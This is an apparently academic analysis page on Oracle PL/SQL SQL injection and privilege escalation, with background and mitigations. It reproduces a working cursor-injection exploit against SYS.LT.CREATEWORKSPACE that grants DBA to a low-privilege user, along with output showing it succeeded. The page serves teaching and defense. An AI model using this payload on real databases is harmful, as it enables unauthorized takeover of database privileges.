Information Assurance

NAYYARA SAMUEL


front | classes | research | personal | contact

Information Assurance

Bugtraq Analysis

Oracle SQL Injection & Privilege Escalation Vulnerability

back to bugtraq analyses page

WHAT THE PROBLEM IS?

In Oracle DMBS, several PL/SQL packages have SQL injection vulerability. This is due to lack of input validation simply! Moreover, the privilege execution model in Oracle can be used to the attacker's advantage to inject SQL commands with escalated privileges.
There are several features of the Oracle environment and programmatic constructs that furthermore facilitate such attacks and make it easy for attackers to execute malicious SQL commands. The following section is a discussion of these constructs which is necessary to understand the problem fully.

Oracle System Tables & Procedures

Anyone who knows a little bit about any DBMS knows that all system information is stored in tables. Also, statements such as "CREATE TABLE x", etc, update a system table that stores names of tables. Given this knowledge, one can be sure that while creating this table, the parameter x will be passed to a dynamic SQL statement while inserting the name of the table x into one or more system tables. Therefore, any parameter of type VARCHAR is a potential target for injection.

A user can furthermore substantiate a guess at this kind of vulerability. It is quick and easy to check for presence of SQL injection by simply passing an unterminated single quote as a parameter. If the error raised reports "quoted string not properly terminated", then it is posible to perform SQL injection (this is a SQL execution error)[1].

Oracle Privilege Execution Model

Procedures/packages are defined with either of the two options:

  • authid current_user
  • authid definer
The first option specifies that the qualified unit of code is executed with the privileges of the user executing the code, while the second option specifies that a unit is executed with the privileges of the owner of the unit. Conceptually, with the 2nd option, a procedure is a SUID program. Given that, if a package is vulerable to SQL injection, then any injected command is executed with the owner's rights.

The most desirable statement that an attacker could want to execute would be "GRANT DBA TO scott" - where SCOTT is an Oracle user with possibly very low privileges. In the case of many packages in Oracle, the owner is the user with highest privileges - the DBA, which favors the attacker.

Oracle Programmatic Constructs

There are 2 programmatic constructs that furthermore favor the execution of SQL injections. These are:
  • autonomous_transaction
  • execute immediate
The first construct allows a block of code to commit regardless of the enclosing context's commit/rollback. This means that a maliciious command is guaranteed to be effected even if there is an error raised due to the injection in the enclosing call.
The second command allows construction of dynamic SQL commands. Not so much of a problem in itself, but attackers can dynamically construct attacks with this .

AN EXAMPLE

The following example [2] uses the Oracle SYS.LT.CREATEWORKSPACE procedure. 

This is slightly modified version of:
http://milw0rm.com/exploits/7677
This is based on cursor injection and does not need
create function privileges:


#-----------screen dump-------------------------------------------#
SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE             ADM DEF OS_
------------------------------ ------------------------ --- --- ---
SCOTT                          CONNECT                   NO  YES NO
SCOTT                          EXECUTE_CATALOG_ROLE      NO  YES NO
SCOTT                          RESOURCE                  NO  YES NO

SQL> DECLARE
  2  D NUMBER;
  3  BEGIN
  4  D := DBMS_SQL.OPEN_CURSOR;
  5  DBMS_SQL.PARSE(D,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION;
  6  BEGIN EXECUTE IMMEDIATE ''grant dba to scott'';COMMIT;END;',0);
  6  SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
  7  SYS.LT.COMPRESSWORKSPACETREE
  	 ('a''and dbms_sql.execute('||D||')=1--');
  8  END;
  9
 10
 11  /
DECLARE
*
ERROR at line 1:
ORA-01403: no data found
ORA-06512: at "SYS.LT", line 6118
ORA-06512: at "SYS.LT", line 6087
ORA-06512: at line 7


SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE             ADM DEF OS_
------------------------------ ------------------------ --- --- ---
SCOTT                          CONNECT                   NO  YES NO
SCOTT                          DBA                       NO  YES NO
SCOTT                          EXECUTE_CATALOG_ROLE      NO  YES NO
SCOTT                          RESOURCE                  NO  YES NO


Sid
www.notsosecure.com

# milw0rm.com [2009-07-02]

In the example, notice that even though the SYS.LT.CREATEWORKSPACE procedure failed midway, the block completed and user SCOTT was granted DBA privileges.

WHAT COULD HAVE PREVENTED THE PROBLEM?

The problem is simply a lack of input validation in coding the procedures. A documentation on this particular issue is written by Paul M. Wright [1]. There are a few features of Oracle's PL/SQL language that makes it fairly easy to validate input. Some of these are:

  • Bind Variables: With the USING clause, this is an alternative to direct string concatenation. An example is shown below. 
    dml_str VARCHAR2(32767):='UPDATE emp SET phoneNum=:pNumBIND';
BEGIN
   EXECUTE IMMEDIATE dml_str
   USING phoneNumIN;
END;
  • DBMS_ASSERT: To put is briefly, the statement DBMS_ASSERT.SIMPLE_SQL_NAME(text) causes an error if the string text is an SQL command.
  • Parsing: Double quotes can be used to bypass input validation. These and other special characters must be parsed out.

WHAT CAN BE DONE TO WORK AROUND IT?

Applying Oracle's patches. Oracle releases patches periodically as Critical Patch Updates. Critical Patch Updates (CPUs) are patches containing fixes for security flaws in Oracle products. Several of these have fixes for SLQ injection. Some of these vulerabilities existed uptill 10g/9i. However, presumably Oracle 11i does not have many of these vulerabilities.

REFERENCES